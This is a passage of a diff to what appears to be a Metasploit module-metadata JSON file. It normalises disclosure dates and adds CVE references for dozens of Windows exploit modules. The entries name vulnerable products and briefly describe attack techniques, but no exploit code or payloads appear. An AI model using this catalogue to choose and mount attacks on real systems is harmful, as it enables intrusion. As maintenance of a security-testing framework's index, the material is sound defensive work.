Relational Database isc_create_database() Buffer Overflow", "full_name": "exploit/windows/misc/fb_isc_create_database", "rank": 200, - "disclosure_date": "2007-10-03 00:00:00 -0500", + "disclosure_date": "2007-10-03", "type": "exploit", "author": [ "Ramon de C Valle ", @@ -77515,7 +75502,7 @@ "name": "Firebird Relational Database SVC_attach() Buffer Overflow", "full_name": "exploit/windows/misc/fb_svc_attach", "rank": 200, - "disclosure_date": "2007-10-03 00:00:00 -0500", + "disclosure_date": "2007-10-03", "type": "exploit", "author": [ "Ramon de C Valle ", @@ -77547,7 +75534,7 @@ "name": "Gh0st Client buffer Overflow", "full_name": "exploit/windows/misc/gh0st", "rank": 300, - "disclosure_date": "2017-07-27 00:00:00 -0500", + "disclosure_date": "2017-07-27", "type": "exploit", "author": [ "Professor Plum" @@ -77573,7 +75560,7 @@ "name": "GIMP script-fu Server Buffer Overflow", "full_name": "exploit/windows/misc/gimp_script_fu", "rank": 300, - "disclosure_date": "2012-05-18 00:00:00 -0500", + "disclosure_date": "2012-05-18", "type": "exploit", "author": [ "Joseph Sheridan", @@ -77605,7 +75592,7 @@ "name": "HP Data Protector 8.10 Remote Command Execution", "full_name": "exploit/windows/misc/hp_dataprotector_cmd_exec", "rank": 600, - "disclosure_date": "2014-11-02 00:00:00 -0500", + "disclosure_date": "2014-11-02", "type": "exploit", "author": [ "Christian Ramirez", @@ -77636,7 +75623,7 @@ "name": "HP Data Protector Cell Request Service Buffer Overflow", "full_name": "exploit/windows/misc/hp_dataprotector_crs", "rank": 300, - "disclosure_date": "2013-06-03 00:00:00 -0500", + "disclosure_date": "2013-06-03", "type": "exploit", "author": [ "e6af8de8b1d4b2b6d5ba2610cbf9cd38", @@ -77668,7 +75655,7 @@ "name": "HP Data Protector DtbClsLogin Buffer Overflow", "full_name": "exploit/windows/misc/hp_dataprotector_dtbclslogin", "rank": 300, - "disclosure_date": "2010-09-09 00:00:00 -0500", + "disclosure_date": "2010-09-09", "type": "exploit", "author": [ "AbdulAziz Hariri", @@ -77699,7 +75686,7 @@ "name": "HP Data Protector Encrypted Communication Remote Command Execution", "full_name": "exploit/windows/misc/hp_dataprotector_encrypted_comms", "rank": 300, - "disclosure_date": "2016-04-18 00:00:00 -0500", + "disclosure_date": "2016-04-18", "type": "exploit", "author": [ "Jon Barg", @@ -77727,7 +75714,7 @@ "name": "HP Data Protector Backup Client Service Remote Code Execution", "full_name": "exploit/windows/misc/hp_dataprotector_exec_bar", "rank": 600, - "disclosure_date": "2014-01-02 00:00:00 -0600", + "disclosure_date": "2014-01-02", "type": "exploit", "author": [ "Aniway.Anyway ", @@ -77759,7 +75746,7 @@ "name": "HP Data Protector 6.10/6.11/6.20 Install Service", "full_name": "exploit/windows/misc/hp_dataprotector_install_service", "rank": 600, - "disclosure_date": "2011-11-02 00:00:00 -0500", + "disclosure_date": "2011-11-02", "type": "exploit", "author": [ "Ben Turner" @@ -77786,7 +75773,7 @@ "name": "HP Data Protector Create New Folder Buffer Overflow", "full_name": "exploit/windows/misc/hp_dataprotector_new_folder", "rank": 300, - "disclosure_date": "2012-03-12 00:00:00 -0500", + "disclosure_date": "2012-03-12", "type": "exploit", "author": [ "juan vazquez ", @@ -77817,7 +75804,7 @@ "name": "HP Data Protector Backup Client Service Directory Traversal", "full_name": "exploit/windows/misc/hp_dataprotector_traversal", "rank": 500, - "disclosure_date": "2014-01-02 00:00:00 -0600", + "disclosure_date": "2014-01-02", "type": "exploit", "author": [ "Brian Gorenc", @@ -77848,7 +75835,7 @@ "name": "HPE iMC dbman RestartDB Unauthenticated RCE", "full_name": "exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce", "rank": 600, - "disclosure_date": "2017-05-15 00:00:00 -0500", + "disclosure_date": "2017-05-15", "type": "exploit", "author": [ "sztivi", @@ -77880,7 +75867,7 @@ "name": "HPE iMC dbman RestoreDBase Unauthenticated RCE", "full_name": "exploit/windows/misc/hp_imc_dbman_restoredbase_unauth_rce", "rank": 600, - "disclosure_date": "2017-05-15 00:00:00 -0500", + "disclosure_date": "2017-05-15", "type": "exploit", "author": [ "sztivi", @@ -77912,7 +75899,7 @@ "name": "HP Intelligent Management Center UAM Buffer Overflow", "full_name": "exploit/windows/misc/hp_imc_uam", "rank": 300, - "disclosure_date": "2012-08-29 00:00:00 -0500", + "disclosure_date": "2012-08-29", "type": "exploit", "author": [ "e6af8de8b1d4b2b6d5ba2610cbf9cd38", @@ -77944,7 +75931,7 @@ "name": "HP LoadRunner magentproc.exe Overflow", "full_name": "exploit/windows/misc/hp_loadrunner_magentproc", "rank": 300, - "disclosure_date": "2013-07-27 00:00:00 -0500", + "disclosure_date": "2013-07-27", "type": "exploit", "author": [ "Unknown", @@ -77973,7 +75960,7 @@ "name": "HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution", "full_name": "exploit/windows/misc/hp_loadrunner_magentproc_cmdexec", "rank": 600, - "disclosure_date": "2010-05-06 00:00:00 -0500", + "disclosure_date": "2010-05-06", "type": "exploit", "author": [ "Unknown", @@ -78003,7 +75990,7 @@ "name": "HP Diagnostics Server magentservice.exe Overflow", "full_name": "exploit/windows/misc/hp_magentservice", "rank": 200, - "disclosure_date": "2012-01-12 00:00:00 -0600", + "disclosure_date": "2012-01-12", "type": "exploit", "author": [ "AbdulAziz Hariri", @@ -78032,7 +76019,7 @@ "name": "HP OmniInet.exe MSG_PROTOCOL Buffer Overflow", "full_name": "exploit/windows/misc/hp_omniinet_1", "rank": 500, - "disclosure_date": "2009-12-17 00:00:00 -0600", + "disclosure_date": "2009-12-17", "type": "exploit", "author": [ "EgiX ", @@ -78067,7 +76054,7 @@ "name": "HP OmniInet.exe MSG_PROTOCOL Buffer Overflow", "full_name": "exploit/windows/misc/hp_omniinet_2", "rank": 500, - "disclosure_date": "2009-12-17 00:00:00 -0600", + "disclosure_date": "2009-12-17", "type": "exploit", "author": [ "EgiX ", @@ -78102,7 +76089,7 @@ "name": "HP OmniInet.exe Opcode 27 Buffer Overflow", "full_name": "exploit/windows/misc/hp_omniinet_3", "rank": 500, - "disclosure_date": "2011-06-29 00:00:00 -0500", + "disclosure_date": "2011-06-29", "type": "exploit", "author": [ "MC " @@ -78130,7 +76117,7 @@ "name": "HP OmniInet.exe Opcode 20 Buffer Overflow", "full_name": "exploit/windows/misc/hp_omniinet_4", "rank": 400, - "disclosure_date": "2011-06-29 00:00:00 -0500", + "disclosure_date": "2011-06-29", "type": "exploit", "author": [ "Oren Isacson", @@ -78164,7 +76151,7 @@ "name": "HP Operations Agent Opcode coda.exe 0x34 Buffer Overflow", "full_name": "exploit/windows/misc/hp_operations_agent_coda_34", "rank": 300, - "disclosure_date": "2012-07-09 00:00:00 -0500", + "disclosure_date": "2012-07-09", "type": "exploit", "author": [ "Luigi Auriemma", @@ -78195,7 +76182,7 @@ "name": "HP Operations Agent Opcode coda.exe 0x8c Buffer Overflow", "full_name": "exploit/windows/misc/hp_operations_agent_coda_8c", "rank": 300, - "disclosure_date": "2012-07-09 00:00:00 -0500", + "disclosure_date": "2012-07-09", "type": "exploit", "author": [ "Luigi Auriemma", @@ -78226,7 +76213,7 @@ "name": "HP OpenView Operations OVTrace Buffer Overflow", "full_name": "exploit/windows/misc/hp_ovtrace", "rank": 200, - "disclosure_date": "2007-08-09 00:00:00 -0500", + "disclosure_date": "2007-08-09", "type": "exploit", "author": [ "MC " @@ -78254,7 +76241,7 @@ "name": "HTA Web Server", "full_name": "exploit/windows/misc/hta_server", "rank": 0, - "disclosure_date": "2016-10-06 00:00:00 -0500", + "disclosure_date": "2016-10-06", "type": "exploit", "author": [ "Spencer McIntyre" @@ -78281,7 +76268,7 @@ "name": "Borland InterBase isc_attach_database() Buffer Overflow", "full_name": "exploit/windows/misc/ib_isc_attach_database", "rank": 400, - "disclosure_date": "2007-10-03 00:00:00 -0500", + "disclosure_date": "2007-10-03", "type": "exploit", "author": [ "Ramon de C Valle ", @@ -78321,7 +76308,7 @@ "name": "Borland InterBase isc_create_database() Buffer Overflow", "full_name": "exploit/windows/misc/ib_isc_create_database", "rank": 400, - "disclosure_date": "2007-10-03 00:00:00 -0500", + "disclosure_date": "2007-10-03", "type": "exploit", "author": [ "Ramon de C Valle ", @@ -78361,7 +76348,7 @@ "name": "Borland InterBase SVC_attach() Buffer Overflow", "full_name": "exploit/windows/misc/ib_svc_attach", "rank": 400, - "disclosure_date": "2007-10-03 00:00:00 -0500", + "disclosure_date": "2007-10-03", "type": "exploit", "author": [ "Ramon de C Valle ", @@ -78401,7 +76388,7 @@ "name": "IBM Cognos tm1admsd.exe Overflow", "full_name": "exploit/windows/misc/ibm_cognos_tm1admsd_bof", "rank": 300, - "disclosure_date": "2012-04-02 00:00:00 -0500", + "disclosure_date": "2012-04-02", "type": "exploit", "author": [ "Unknown", @@ -78432,7 +76419,7 @@ "name": "IBM System Director Agent DLL Injection", "full_name": "exploit/windows/misc/ibm_director_cim_dllinject", "rank": 600, - "disclosure_date": "2009-03-10 00:00:00 -0500", + "disclosure_date": "2009-03-10", "type": "exploit", "author": [ "Bernhard Mueller", @@ -78465,7 +76452,7 @@ "name": "IBM Tivoli Storage Manager Express CAD Service Buffer Overflow", "full_name": "exploit/windows/misc/ibm_tsm_cad_ping", "rank": 400, - "disclosure_date": "2009-11-04 00:00:00 -0600", + "disclosure_date": "2009-11-04", "type": "exploit", "author": [ "jduck " @@ -78492,7 +76479,7 @@ "name": "IBM Tivoli Storage Manager Express RCA Service Buffer Overflow", "full_name": "exploit/windows/misc/ibm_tsm_rca_dicugetidentify", "rank": 500, - "disclosure_date": "2009-11-04 00:00:00 -0600", + "disclosure_date": "2009-11-04", "type": "exploit", "author": [ "jduck " @@ -78520,7 +76507,7 @@ "name": "IBM WebSphere RCE Java Deserialization Vulnerability", "full_name": "exploit/windows/misc/ibm_websphere_java_deserialize", "rank": 600, - "disclosure_date": "2015-11-06 00:00:00 -0600", + "disclosure_date": "2015-11-06", "type": "exploit", "author": [ "Liatsis Fotios " @@ -78549,7 +76536,7 @@ "name": "Apple iTunes 10 Extended M3U Stack Buffer Overflow", "full_name": "exploit/windows/misc/itunes_extm3u_bof", "rank": 300, - "disclosure_date": "2012-06-21 00:00:00 -0500", + "disclosure_date": "2012-06-21", "type": "exploit", "author": [ "Rh0 ", @@ -78581,7 +76568,7 @@ "name": "LANDesk Management Suite 8.7 Alert Service Buffer Overflow", "full_name": "exploit/windows/misc/landesk_aolnsrvr", "rank": 200, - "disclosure_date": "2007-04-13 00:00:00 -0500", + "disclosure_date": "2007-04-13", "type": "exploit", "author": [ "MC " @@ -78611,7 +76598,7 @@ "name": "Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow", "full_name": "exploit/windows/misc/lianja_db_net", "rank": 300, - "disclosure_date": "2013-05-22 00:00:00 -0500", + "disclosure_date": "2013-05-22", "type": "exploit", "author": [ "Spencer McIntyre" @@ -78639,7 +76626,7 @@ "name": "ManageEngine EventLog Analyzer Remote Code Execution", "full_name": "exploit/windows/misc/manageengine_eventlog_analyzer_rce", "rank": 0, - "disclosure_date": "2015-07-11 00:00:00 -0500", + "disclosure_date": "2015-07-11", "type": "exploit", "author": [ "xistence " @@ -78667,7 +76654,7 @@ "name": "Mercury/32 PH Server Module Buffer Overflow", "full_name": "exploit/windows/misc/mercury_phonebook", "rank": 200, - "disclosure_date": "2005-12-19 00:00:00 -0600", + "disclosure_date": "2005-12-19", "type": "exploit", "author": [ "MC " @@ -78696,7 +76683,7 @@ "name": "Mini-Stream 3.0.1.1 Buffer Overflow", "full_name": "exploit/windows/misc/mini_stream", "rank": 300, - "disclosure_date": "2009-12-25 00:00:00 -0600", + "disclosure_date": "2009-12-25", "type": "exploit", "author": [ "Unknown", @@ -78726,7 +76713,7 @@ "name": "mIRC PRIVMSG Handling Stack Buffer Overflow", "full_name": "exploit/windows/misc/mirc_privmsg_server", "rank": 300, - "disclosure_date": "2008-10-02 00:00:00 -0500", + "disclosure_date": "2008-10-02", "type": "exploit", "author": [ "aushack " @@ -78755,7 +76742,7 @@ "name": "MS07-064 Microsoft DirectX DirectShow SAMI Buffer Overflow", "full_name": "exploit/windows/misc/ms07_064_sami", "rank": 300, - "disclosure_date": "2007-12-11 00:00:00 -0600", + "disclosure_date": "2007-12-11", "type": "exploit", "author": [ "MC " @@ -78784,7 +76771,7 @@ "name": "MS10-104 Microsoft Office SharePoint Server 2007 Remote Code Execution", "full_name": "exploit/windows/misc/ms10_104_sharepoint", "rank": 600, - "disclosure_date": "2010-12-14 00:00:00 -0600", + "disclosure_date": "2010-12-14", "type": "exploit", "author": [ "Oleksandr Mirosh", @@ -78816,7 +76803,7 @@ "name": "Netcat v1.10 NT Stack Buffer Overflow", "full_name": "exploit/windows/misc/netcat110_nt", "rank": 500, - "disclosure_date": "2004-12-27 00:00:00 -0600", + "disclosure_date": "2004-12-27", "type": "exploit", "author": [ "aushack " @@ -78845,7 +76832,7 @@ "name": "NetTransport Download Manager 2.90.510 Buffer Overflow", "full_name": "exploit/windows/misc/nettransport", "rank": 300, - "disclosure_date": "2010-01-02 00:00:00 -0600", + "disclosure_date": "2010-01-02", "type": "exploit", "author": [ "Lincoln", @@ -78853,6 +76840,7 @@ ], "description": "This exploits a stack buffer overflow in NetTransport Download Manager,\n part of the NetXfer suite. This module was tested\n successfully against version 2.90.510.", "references": [ + "CVE-2017-17968", "OSVDB-61435", "EDB-10911" ], @@ -78873,7 +76861,7 @@ "name": "Nvidia Mental Ray Satellite Service Arbitrary DLL Injection", "full_name": "exploit/windows/misc/nvidia_mental_ray", "rank": 600, - "disclosure_date": "2013-12-10 00:00:00 -0600", + "disclosure_date": "2013-12-10", "type": "exploit", "author": [ "Luigi Auriemma", @@ -78902,7 +76890,7 @@ "name": "PlugX Controller Stack Overflow", "full_name": "exploit/windows/misc/plugx", "rank": 300, - "disclosure_date": "2017-07-27 00:00:00 -0500", + "disclosure_date": "2017-07-27", "type": "exploit", "author": [ "Professor Plum" @@ -78930,7 +76918,7 @@ "name": "Poison Ivy 2.1.x C2 Buffer Overflow", "full_name": "exploit/windows/misc/poisonivy_21x_bof", "rank": 300, - "disclosure_date": "2016-06-03 00:00:00 -0500", + "disclosure_date": "2016-06-03", "type": "exploit", "author": [ "Jos Wetzels" @@ -78956,7 +76944,7 @@ "name": "Poison Ivy Server Buffer Overflow", "full_name": "exploit/windows/misc/poisonivy_bof", "rank": 300, - "disclosure_date": "2012-06-24 00:00:00 -0500", + "disclosure_date": "2012-06-24", "type": "exploit", "author": [ "Andrzej Dereszowski", @@ -78990,7 +76978,7 @@ "name": "POP Peeper v3.4 DATE Buffer Overflow", "full_name": "exploit/windows/misc/poppeeper_date", "rank": 300, - "disclosure_date": "2009-02-27 00:00:00 -0600", + "disclosure_date": "2009-02-27", "type": "exploit", "author": [ "MC " @@ -79018,7 +77006,7 @@ "name": "POP Peeper v3.4 UIDL Buffer Overflow", "full_name": "exploit/windows/misc/poppeeper_uidl", "rank": 300, - "disclosure_date": "2009-02-27 00:00:00 -0600", + "disclosure_date": "2009-02-27", "type": "exploit", "author": [ "MC " @@ -79046,7 +77034,7 @@ "name": "Realtek Media Player Playlist Buffer Overflow", "full_name": "exploit/windows/misc/realtek_playlist", "rank": 500, - "disclosure_date": "2008-12-16 00:00:00 -0600", + "disclosure_date": "2008-12-16", "type": "exploit", "author": [ "MC " @@ -79074,7 +77062,7 @@ "name": "SAP Business One License Manager 2005 Buffer Overflow", "full_name": "exploit/windows/misc/sap_2005_license", "rank": 500, - "disclosure_date": "2009-08-01 00:00:00 -0500", + "disclosure_date": "2009-08-01", "type": "exploit", "author": [ "Jacopo Cervini" @@ -79103,7 +77091,7 @@ "name": "SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow", "full_name": "exploit/windows/misc/sap_netweaver_dispatcher", "rank": 300, - "disclosure_date": "2012-05-08 00:00:00 -0500", + "disclosure_date": "2012-05-08", "type": "exploit", "author": [ "Martin Gallo", @@ -79136,7 +77124,7 @@ "name": "ShixxNOTE 6.net Font Field Overflow", "full_name": "exploit/windows/misc/shixxnote_font", "rank": 500, - "disclosure_date": "2004-10-04 00:00:00 -0500", + "disclosure_date": "2004-10-04", "type": "exploit", "author": [ "MC " @@ -79164,7 +77152,7 @@ "name": "SolidWorks Workgroup PDM 2014 pdmwService.exe Arbitrary File Write", "full_name": "exploit/windows/misc/solidworks_workgroup_pdmwservice_file_write", "rank": 400, - "disclosure_date": "2014-02-22 00:00:00 -0600", + "disclosure_date": "2014-02-22", "type": "exploit", "author": [ "Mohamed Shetta ", @@ -79172,6 +77160,7 @@ ], "description": "This module exploits a remote arbitrary file write vulnerability in\n SolidWorks Workgroup PDM 2014 SP2 and prior.\n\n For targets running Windows Vista or newer the payload is written to the\n startup folder for all users and executed upon next user logon.\n\n For targets before Windows Vista code execution can be achieved by first\n uploading the payload as an exe file, and then upload another mof file,\n which schedules WMI to execute the uploaded payload.\n\n This module has been tested successfully on SolidWorks Workgroup PDM\n 2011 SP0 on Windows XP SP3 (EN) and Windows 7 SP1 (EN).", "references": [ + "CVE-2014-100015", "EDB-31831", "OSVDB-103671" ], @@ -79194,7 +77183,7 @@ "name": "SPlayer 3.7 Content-Type Buffer Overflow", "full_name": "exploit/windows/misc/splayer_content_type", "rank": 300, - "disclosure_date": "2011-05-04 00:00:00 -0500", + "disclosure_date": "2011-05-04", "type": "exploit", "author": [ "xsploitedsec ", @@ -79222,7 +77211,7 @@ "name": "CoCSoft StreamDown 6.8.0 Buffer Overflow", "full_name": "exploit/windows/misc/stream_down_bof", "rank": 400, - "disclosure_date": "2011-12-27 00:00:00 -0600", + "disclosure_date": "2011-12-27", "type": "exploit", "author": [ "Fady Mohamed Osman " @@ -79253,7 +77242,7 @@ "name": "Talkative IRC v0.4.4.16 Response Buffer Overflow", "full_name": "exploit/windows/misc/talkative_response", "rank": 300, - "disclosure_date": "2009-03-17 00:00:00 -0500", + "disclosure_date": "2009-03-17", "type": "exploit", "author": [ "MC " @@ -79281,7 +77270,7 @@ "name": "TinyIdentD 2.2 Stack Buffer Overflow", "full_name": "exploit/windows/misc/tiny_identd_overflow", "rank": 200, - "disclosure_date": "2007-05-14 00:00:00 -0500", + "disclosure_date": "2007-05-14", "type": "exploit", "author": [ "Jacopo Cervini " @@ -79311,7 +77300,7 @@ "name": "TrendMicro Control Manger CmdProcessor.exe Stack Buffer Overflow", "full_name": "exploit/windows/misc/trendmicro_cmdprocessor_addtask", "rank": 400, - "disclosure_date": "2011-12-07 00:00:00 -0600", + "disclosure_date": "2011-12-07", "type": "exploit", "author": [ "Luigi Auriemma", @@ -79340,7 +77329,7 @@ "name": "UFO: Alien Invasion IRC Client Buffer Overflow", "full_name": "exploit/windows/misc/ufo_ai", "rank": 200, - "disclosure_date": "2009-10-28 00:00:00 -0500", + "disclosure_date": "2009-10-28", "type": "exploit", "author": [ "Jason Geffner", @@ -79368,7 +77357,7 @@ "name": "DLL Side Loading Vulnerability in VMware Host Guest Client Redirector", "full_name": "exploit/windows/misc/vmhgfs_webdav_dll_sideload", "rank": 300, - "disclosure_date": "2016-08-05 00:00:00 -0500", + "disclosure_date": "2016-08-05", "type": "exploit", "author": [ "Yorick Koster" @@ -79397,7 +77386,7 @@ "name": "Windows RSH Daemon Buffer Overflow", "full_name": "exploit/windows/misc/windows_rsh", "rank": 200, - "disclosure_date": "2007-07-24 00:00:00 -0500", + "disclosure_date": "2007-07-24", "type": "exploit", "author": [ "MC " @@ -79427,7 +77416,7 @@ "name": "Wireshark console.lua Pre-Loading Script Execution", "full_name": "exploit/windows/misc/wireshark_lua", "rank": 600, - "disclosure_date": "2011-07-18 00:00:00 -0500", + "disclosure_date": "2011-07-18", "type": "exploit", "author": [ "Haifei Li", @@ -79457,7 +77446,7 @@ "name": "Wireshark packet-dect.c Stack Buffer Overflow", "full_name": "exploit/windows/misc/wireshark_packet_dect", "rank": 400, - "disclosure_date": "2011-04-18 00:00:00 -0500", + "disclosure_date": "2011-04-18", "type": "exploit", "author": [ "Paul Makowski", @@ -79489,7 +77478,7 @@ "name": "Windows Media Services ConnectFunnel Stack Buffer Overflow", "full_name": "exploit/windows/mmsp/ms10_025_wmss_connect_funnel", "rank": 500, - "disclosure_date": "2010-04-13 00:00:00 -0500", + "disclosure_date": "2010-04-13", "type": "exploit", "author": [ "jduck " @@ -79518,7 +77507,7 @@ "name": "Timbuktu Pro Directory Traversal/File Upload", "full_name": "exploit/windows/motorola/timbuktu_fileupload", "rank": 600, - "disclosure_date": "2008-05-10 00:00:00 -0500", + "disclosure_date": "2008-05-10", "type": "exploit", "author": [ "MC " @@ -79545,7 +77534,7 @@ "name": "Lyris ListManager MSDE Weak sa Password", "full_name": "exploit/windows/mssql/lyris_listmanager_weak_pass", "rank": 600, - "disclosure_date": "2005-12-08 00:00:00 -0600", + "disclosure_date": "2005-12-08", "type": "exploit", "author": [ "hdm " @@ -79572,7 +77561,7 @@ "name": "MS02-039 Microsoft SQL Server Resolution Overflow", "full_name": "exploit/windows/mssql/ms02_039_slammer", "rank": 400, - "disclosure_date": "2002-07-24 00:00:00 -0500", + "disclosure_date": "2002-07-24", "type": "exploit", "author": [ "hdm " @@ -79601,7 +77590,7 @@ "name": "MS02-056 Microsoft SQL Server Hello Overflow", "full_name": "exploit/windows/mssql/ms02_056_hello", "rank": 400, - "disclosure_date": "2002-08-05 00:00:00 -0500", + "disclosure_date": "2002-08-05", "type": "exploit", "author": [ "MC " @@ -79630,7 +77619,7 @@ "name": "MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption", "full_name": "exploit/windows/mssql/ms09_004_sp_replwritetovarbin", "rank": 400, - "disclosure_date": "2008-12-09 00:00:00 -0600", + "disclosure_date": "2008-12-09", "type": "exploit", "author": [ "jduck " @@ -79669,7 +77658,7 @@ "name": "MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection", "full_name": "exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli", "rank": 600, - "disclosure_date": "2008-12-09 00:00:00 -0600", + "disclosure_date": "2008-12-09", "type": "exploit", "author": [ "jduck ", @@ -79710,7 +77699,7 @@ "name": "Microsoft SQL Server Clr Stored Procedure Payload Execution", "full_name": "exploit/windows/mssql/mssql_clr_payload", "rank": 600, - "disclosure_date": "1999-01-01 00:00:00 -0600", + "disclosure_date": "1999-01-01", "type": "exploit", "author": [ "Lee Christensen", @@ -79738,7 +77727,7 @@ "name": "Microsoft SQL Server Database Link Crawling Command Execution", "full_name": "exploit/windows/mssql/mssql_linkcrawler", "rank": 500, - "disclosure_date": "2000-01-01 00:00:00 -0600", + "disclosure_date": "2000-01-01", "type": "exploit", "author": [ "Antti Rantasaari ", @@ -79767,7 +77756,7 @@ "name": "Microsoft SQL Server Payload Execution", "full_name": "exploit/windows/mssql/mssql_payload", "rank": 600, - "disclosure_date": "2000-05-30 00:00:00 -0500", + "disclosure_date": "2000-05-30", "type": "exploit", "author": [ "David Kennedy \"ReL1K\" ", @@ -79799,7 +77788,7 @@ "name": "Microsoft SQL Server Payload Execution via SQL Injection", "full_name": "exploit/windows/mssql/mssql_payload_sqli", "rank": 600, - "disclosure_date": "2000-05-30 00:00:00 -0500", + "disclosure_date": "2000-05-30", "type": "exploit", "author": [ "David Kennedy \"ReL1K\" ", @@ -79833,7 +77822,7 @@ "name": "Oracle MySQL for Microsoft Windows MOF Execution", "full_name": "exploit/windows/mysql/mysql_mof", "rank": 600, - "disclosure_date": "2012-12-01 00:00:00 -0600", + "disclosure_date": "2012-12-01", "type": "exploit", "author": [ "kingcope", @@ -79863,7 +77852,7 @@ "name": "Oracle MySQL for Microsoft Windows FILE Privilege Abuse", "full_name": "exploit/windows/mysql/mysql_start_up", "rank": 600, - "disclosure_date": "2012-12-01 00:00:00 -0600", + "disclosure_date": "2012-12-01", "type": "exploit", "author": [ "sinn3r ", @@ -79893,7 +77882,7 @@ "name": "MySQL yaSSL SSL Hello Message Buffer Overflow", "full_name": "exploit/windows/mysql/mysql_yassl_hello", "rank": 200, - "disclosure_date": "2008-01-04 00:00:00 -0600", + "disclosure_date": "2008-01-04", "type": "exploit", "author": [ "MC " @@ -79922,7 +77911,7 @@ "name": "Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential", "full_name": "exploit/windows/mysql/scrutinizer_upload_exec", "rank": 600, - "disclosure_date": "2012-07-27 00:00:00 -0500", + "disclosure_date": "2012-07-27", "type": "exploit", "author": [ "MC ", @@ -79954,7 +77943,7 @@ "name": "Omni-NFS Server Buffer Overflow", "full_name": "exploit/windows/nfs/xlink_nfsd", "rank": 200, - "disclosure_date": "2006-11-06 00:00:00 -0600", + "disclosure_date": "2006-11-06", "type": "exploit", "author": [ "MC " @@ -79983,7 +77972,7 @@ "name": "MS05-030 Microsoft Outlook Express NNTP Response Parsing Buffer Overflow", "full_name": "exploit/windows/nntp/ms05_030_nntp", "rank": 300, - "disclosure_date": "2005-06-14 00:00:00 -0500", + "disclosure_date": "2005-06-14", "type": "exploit", "author": [ "MC " @@ -80013,7 +78002,7 @@ "name": "NFR Agent FSFUI Record File Upload RCE", "full_name": "exploit/windows/novell/file_reporter_fsfui_upload", "rank": 500, - "disclosure_date": "2012-11-16 00:00:00 -0600", + "disclosure_date": "2012-11-16", "type": "exploit", "author": [ "juan vazquez " @@ -80041,7 +78030,7 @@ "name": "Novell GroupWise Messenger Client Buffer Overflow", "full_name": "exploit/windows/novell/groupwisemessenger_client", "rank": 300, - "disclosure_date": "2008-07-02 00:00:00 -0500", + "disclosure_date": "2008-07-02", "type": "exploit", "author": [ "MC " @@ -80071,7 +78060,7 @@ "name": "NetIQ Privileged User Manager 2.3.1 ldapagnt_eval() Remote Perl Code Execution", "full_name": "exploit/windows/novell/netiq_pum_eval", "rank": 600, - "disclosure_date": "2012-11-15 00:00:00 -0600", + "disclosure_date": "2012-11-15", "type": "exploit", "author": [ "rgod", @@ -80079,6 +78068,7 @@ ], "description": "This module abuses a lack of authorization in the NetIQ Privileged User Manager\n service (unifid.exe) to execute arbitrary perl code. The problem exists in the\n ldapagnt module. The module has been tested successfully on NetIQ PUM 2.3.1 over\n Windows 2003 SP2, which allows to execute arbitrary code with SYSTEM privileges.", "references": [ + "CVE-2012-5932", "OSVDB-87334", "BID-56539", "EDB-22738" @@ -80100,7 +78090,7 @@ "name": "Novell NetMail NMAP STOR Buffer Overflow", "full_name": "exploit/windows/novell/nmap_stor", "rank": 200, - "disclosure_date": "2006-12-23 00:00:00 -0600", + "disclosure_date": "2006-12-23", "type": "exploit", "author": [ "MC " @@ -80128,7 +78118,7 @@ "name": "Novell ZENworks 6.5 Desktop/Server Management Overflow", "full_name": "exploit/windows/novell/zenworks_desktop_agent", "rank": 400, - "disclosure_date": "2005-05-19 00:00:00 -0500", + "disclosure_date": "2005-05-19", "type": "exploit", "author": [ "Unknown" @@ -80156,7 +78146,7 @@ "name": "Novell ZENworks Configuration Management Preboot Service 0x21 Buffer Overflow", "full_name": "exploit/windows/novell/zenworks_preboot_op21_bof", "rank": 300, - "disclosure_date": "2010-03-30 00:00:00 -0500", + "disclosure_date": "2010-03-30", "type": "exploit", "author": [ "Stephen Fewer", @@ -80164,6 +78154,7 @@ ], "description": "This module exploits a remote buffer overflow in the ZENworks Configuration\n Management 10 SP2. The vulnerability exists in the Preboot service and can be\n triggered by sending a specially crafted packet with the opcode 0x21\n (PROXY_CMD_FTP_FILE) to port 998/TCP. The module has been successfully tested on\n Novell ZENworks Configuration Management 10 SP2 and Windows Server 2003 SP2\n (DEP bypass).", "references": [ + "CVE-2012-2215", "OSVDB-65361", "BID-40486", "ZDI-10-090", @@ -80186,7 +78177,7 @@ "name": "Novell ZENworks Configuration Management Preboot Service 0x4c Buffer Overflow", "full_name": "exploit/windows/novell/zenworks_preboot_op4c_bof", "rank": 300, - "disclosure_date": "2012-02-22 00:00:00 -0600", + "disclosure_date": "2012-02-22", "type": "exploit", "author": [ "Luigi Auriemma", @@ -80217,7 +78208,7 @@ "name": "Novell ZENworks Configuration Management Preboot Service 0x06 Buffer Overflow", "full_name": "exploit/windows/novell/zenworks_preboot_op6_bof", "rank": 300, - "disclosure_date": "2010-03-30 00:00:00 -0500", + "disclosure_date": "2010-03-30", "type": "exploit", "author": [ "Stephen Fewer", @@ -80247,7 +78238,7 @@ "name": "Novell ZENworks Configuration Management Preboot Service 0x6c Buffer Overflow", "full_name": "exploit/windows/novell/zenworks_preboot_op6c_bof", "rank": 300, - "disclosure_date": "2012-02-22 00:00:00 -0600", + "disclosure_date": "2012-02-22", "type": "exploit", "author": [ "Luigi Auriemma", @@ -80278,7 +78269,7 @@ "name": "Oracle Database Client System Analyzer Arbitrary File Upload", "full_name": "exploit/windows/oracle/client_system_analyzer_upload", "rank": 600, - "disclosure_date": "2011-01-18 00:00:00 -0600", + "disclosure_date": "2011-01-18", "type": "exploit", "author": [ "1c239c43f521145fa8385d64a9c32243", @@ -80309,7 +78300,7 @@ "name": "Oracle Job Scheduler Named Pipe Command Execution", "full_name": "exploit/windows/oracle/extjob", "rank": 600, - "disclosure_date": "2007-01-01 00:00:00 -0600", + "disclosure_date": "2007-01-01", "type": "exploit", "author": [ "David Litchfield", @@ -80337,7 +78328,7 @@ "name": "Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow", "full_name": "exploit/windows/oracle/osb_ndmp_auth", "rank": 400, - "disclosure_date": "2009-01-14 00:00:00 -0600", + "disclosure_date": "2009-01-14", "type": "exploit", "author": [ "MC " @@ -80365,7 +78356,7 @@ "name": "Oracle 8i TNS Listener (ARGUMENTS) Buffer Overflow", "full_name": "exploit/windows/oracle/tns_arguments", "rank": 400, - 